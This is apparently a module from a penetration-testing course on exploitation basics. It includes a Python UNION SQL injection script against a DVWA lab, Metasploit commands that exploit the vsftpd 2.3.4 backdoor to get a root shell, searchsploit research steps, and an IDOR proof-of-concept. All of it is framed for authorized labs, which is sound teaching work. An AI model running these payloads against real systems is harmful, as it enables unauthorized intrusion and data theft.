Module 08: Exploitation Basics¶

← Module 07: Reconnaissance and OSINT | Topic Home | Next: Post-Exploitation →

Exploitation is the phase where theory meets practice — but professional exploitation is always minimal, controlled, and documented, not maximal and reckless.

[!NOTE] Stub Module — Full theory content will be expanded in a future update.

Overview¶

Exploitation is the third phase of the penetration testing methodology: using identified vulnerabilities to demonstrate that they are actually exploitable. The goal is not destruction or disruption — it is proof of impact. A vulnerability that cannot be exploited is a lower priority than one that can.

This module covers the two most important tools for professional exploitation work: Burp Suite (for web application exploitation) and Metasploit Framework (for network and service exploitation in CTF/lab contexts). It also covers CVE research methodology — how to find existing exploits for identified vulnerabilities — and proof-of-concept development.

[!IMPORTANT] Everything in this module is for use in authorized environments only: CTF machines on HackTheBox/TryHackMe, your own Metasploitable/DVWA lab, or systems you have written permission to test. Metasploit and Burp Suite are professional tools — their capabilities are well-documented, and their misuse constitutes a crime.

Prerequisites¶

[[pentesting-security/modules/07_recon-and-osint]] — Recon provides the targets for exploitation
[[pentesting-security/modules/03_web-application-security]] — OWASP Top 10 for web exploitation
[[pentesting-security/modules/02_networking-for-security]] — Service enumeration for network exploitation

Objectives¶

By the end of this module, you will be able to:

Use Burp Suite Intruder and Repeater for systematic web application exploitation
Use Metasploit Framework to exploit known vulnerabilities in CTF and lab environments
Research CVEs and find public proof-of-concept exploits using NVD, ExploitDB, and GitHub
Develop a minimal proof-of-concept for a web vulnerability that demonstrates impact
Explain the difference between a proof-of-concept and a weaponized exploit
Document exploitation evidence (screenshots, terminal output, timestamps) for reporting

Theory¶

Burp Suite — Professional Web Exploitation Workflow¶

Burp Suite Community Edition provides everything needed for manual web exploitation. The professional workflow for web exploitation uses four key tools: Proxy, Repeater, Intruder, and Decoder.

EXPLOITATION WORKFLOW IN BURP SUITE:

1. PROXY → Intercept all traffic; build a complete map of the application
   Target > Site Map: See all discovered endpoints

2. REPEATER → Manual testing
   - Right-click any request in Proxy history → "Send to Repeater"
   - Modify parameters, headers, cookies and resend
   - Observe response differences
   - Perfect for: SQLi testing, IDOR testing, authentication bypass

3. INTRUDER → Automated testing with payloads
   - Right-click request → "Send to Intruder"
   - Mark injection points with § symbols
   - Configure payload list (SQL injection strings, usernames, etc.)
   - Attack types: Sniper (one point), Battering Ram (same payload all points),
     Pitchfork (parallel lists), Cluster Bomb (all combinations)
   - Community: throttled; Pro: full speed

4. DECODER → Encode/decode values
   - Base64, URL, HTML, hex encoding/decoding
   - Useful for: cookie manipulation, JWT decoding, payload obfuscation

Burp Suite Repeater Example — Testing SQLi:

# Equivalent to what Burp Repeater does: manual request modification
import requests

target = "http://localhost/dvwa/vulnerabilities/sqli/"
cookies = {"PHPSESSID": "YOUR_SESSION", "security": "low"}

# Test 1: Normal
r = requests.get(target, params={"id": "1", "Submit": "Submit"}, cookies=cookies)
print(f"Normal: {r.text[400:600]}")

# Test 2: SQL injection — UNION to extract database version
payload = "1 UNION SELECT user(), version()--"
r = requests.get(target, params={"id": payload, "Submit": "Submit"}, cookies=cookies)
if "root@" in r.text or "5." in r.text or "8." in r.text:
    print("[!] UNION SQLi successful - database user and version extracted")

# Test 3: Extract table names
payload = "1 UNION SELECT table_name, NULL FROM information_schema.tables--"
r = requests.get(target, params={"id": payload, "Submit": "Submit"}, cookies=cookies)
print(f"Tables: {r.text[400:800]}")

Metasploit Framework¶

Metasploit is the most widely used exploitation framework. It organizes exploits, payloads, and auxiliary modules in a consistent interface.

# Start Metasploit console
msfconsole

# --- Inside msfconsole ---

# Search for an exploit (e.g., vsftpd backdoor)
search vsftpd

# Use an exploit module
use exploit/unix/ftp/vsftpd_234_backdoor

# Show required options
show options

# Set the target
set RHOSTS 192.168.56.101
set RPORT 21

# Show available payloads for this exploit
show payloads

# Set payload (command shell)
set PAYLOAD cmd/unix/interact

# Run the exploit
exploit
# or: run

# --- If successful: you now have a shell on the target ---
# This is your authorized CTF/lab machine

# --- Working with sessions ---
# If the exploit opens a session:
sessions -l           # List all sessions
sessions -i 1         # Interact with session 1
background            # Background current session (Ctrl+Z)

CVE Research Methodology¶

When you identify a service version (e.g., vsftpd 2.3.4, Apache 2.4.49), the next step is researching whether known exploits exist.

# Step 1: Search NVD (National Vulnerability Database)
# https://nvd.nist.gov/vuln/search
# Search: "vsftpd 2.3.4"
# Look for: CVE ID, CVSS score, description, reference links

# Step 2: Search ExploitDB (offline)
searchsploit vsftpd 2.3.4
# Output shows exploit path and type

# View a specific exploit
searchsploit -x unix/remote/17491.rb  # View Ruby Metasploit module
searchsploit -x unix/remote/49757.py  # View Python exploit

# Step 3: GitHub search
# Search: "CVE-2011-2523 exploit" or "vsftpd 2.3.4 backdoor"

# Step 4: Google search
# "site:github.com CVE-2021-XXXXX"
# "CVE-2021-XXXXX PoC"

Proof of Concept Development¶

A PoC demonstrates a vulnerability is exploitable with minimal footprint. For web vulnerabilities, this typically means a Python script or curl command that proves the issue.

#!/usr/bin/env python3
"""
PoC for IDOR vulnerability in fictional expense reporting application
AUTHORIZED TESTING ONLY — This PoC was developed during an authorized
penetration test of lab.example.com under engagement #2026-001

Vulnerability: Insecure Direct Object Reference on /api/expense/<id>
Impact: Any authenticated user can read any other user's expense reports
CVSS Score: 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Author: [Tester Name]
Date: 2026-06-09
"""

import requests
import sys

TARGET = "http://localhost"  # Authorized local lab only

def demonstrate_idor():
    """
    Demonstrate IDOR vulnerability.
    Does NOT extract sensitive data — only proves the vulnerability exists.
    """
    session = requests.Session()

    # Authenticate as user1 (test account)
    r = session.post(f"{TARGET}/api/login", json={
        "username": "testuser1",
        "password": "testpass1"
    })
    if r.status_code != 200:
        print("[-] Login failed")
        return

    # Access user1's own expense (expected to work)
    r_own = session.get(f"{TARGET}/api/expense/1001")

    # Access user2's expense (should return 403, but may not)
    r_other = session.get(f"{TARGET}/api/expense/1002")

    print(f"Own expense (ID 1001): HTTP {r_own.status_code}")
    print(f"Other user expense (ID 1002): HTTP {r_other.status_code}")

    if r_other.status_code == 200:
        print("[!] VULNERABILITY CONFIRMED: User1 can access User2's expense")
        print(f"    Response keys: {list(r_other.json().keys())}")
        # Note: Only print the keys (structure), NOT the actual sensitive values
        print("    [PoC stops here — actual data not extracted for report]")
    else:
        print("[OK] Access correctly denied")

if __name__ == "__main__":
    print("IDOR PoC — Authorized lab testing only")
    demonstrate_idor()

Key Concepts¶

Exploit — Code or technique that takes advantage of a specific vulnerability to achieve an unauthorized result. Exploits are specific to a vulnerability (or a narrow class) — a SQL injection exploit does not work against XSS.

Payload — The code that runs after an exploit successfully executes. In Metasploit: cmd/unix/reverse_netcat (reverse shell), cmd/unix/interact (bind shell), java/meterpreter/reverse_tcp (full-featured agent). For web: a JavaScript cookie stealer, a file read command.

Reverse Shell — A connection from the compromised machine back to the attacker's listener. Necessary when the target is behind a NAT or firewall that prevents inbound connections.

ExploitDB (exploit-db.com) — A public database of exploits and proof-of-concept code. Searchable offline with searchsploit. An invaluable resource for CVE research.

Examples¶

Example 1: Complete Exploitation of Metasploitable 2 — vsftpd Backdoor¶

# Target: Metasploitable 2 at 192.168.56.101 (your authorized lab)

# Step 1: Recon shows port 21 (vsftpd 2.3.4)
# Step 2: CVE research shows CVE-2011-2523 — backdoor in vsftpd 2.3.4

# Step 3: Exploit with Metasploit
msfconsole -q  # -q = quiet mode, no banner

msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> set RHOSTS 192.168.56.101
msf6> run

# If successful:
# [+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
# [*] Found shell.
# Command shell session 1 opened

# Step 4: Verify access (for report evidence)
id
# uid=0(root) gid=0(root) groups=0(root)
hostname
# metasploitable

# Step 5: Document evidence
# Screenshot + terminal log = report evidence
# DO NOT explore further than needed to prove impact

Common Pitfalls¶

Pitfall 1: Using exploit/multi/handler with no scope. A reverse shell listener without careful scope awareness can accidentally catch connections from unexpected sources. In authorized tests, ensure your listener is only accessible from the test network.

Pitfall 2: Skipping the PoC and going straight to weaponized exploit. In professional pentesting, you use the minimum necessary to prove impact. An RCE vulnerability is proven with id or whoami — not by pivoting into the rest of the network or extracting all data.

Pitfall 3: Treating ExploitDB PoCs as production-ready tools. Many public PoCs have bugs, require modification, or are specific to exact versions. Always understand what an exploit does before running it — even in authorized contexts.

Cross-Links¶

[[pentesting-security/modules/07_recon-and-osint]] — Recon produces the targets for exploitation
[[pentesting-security/modules/09_post-exploitation]] — What happens after successful exploitation
[[pentesting-security/modules/11_bug-bounty-program]] — How to write the exploitation section of a bug bounty report

Summary¶

Exploitation proves a vulnerability is actually exploitable — always with minimal footprint
Burp Suite's Repeater and Intruder are the primary tools for systematic web exploitation
Metasploit provides organized access to thousands of exploits for CTF and lab use
CVE research: NVD → ExploitDB (searchsploit) → GitHub → targeted Google search
A PoC demonstrates impact without causing unnecessary damage or data extraction
Document all exploitation evidence (commands, timestamps, output) as you go — not after
Reverse shells and bind shells serve different network topology requirements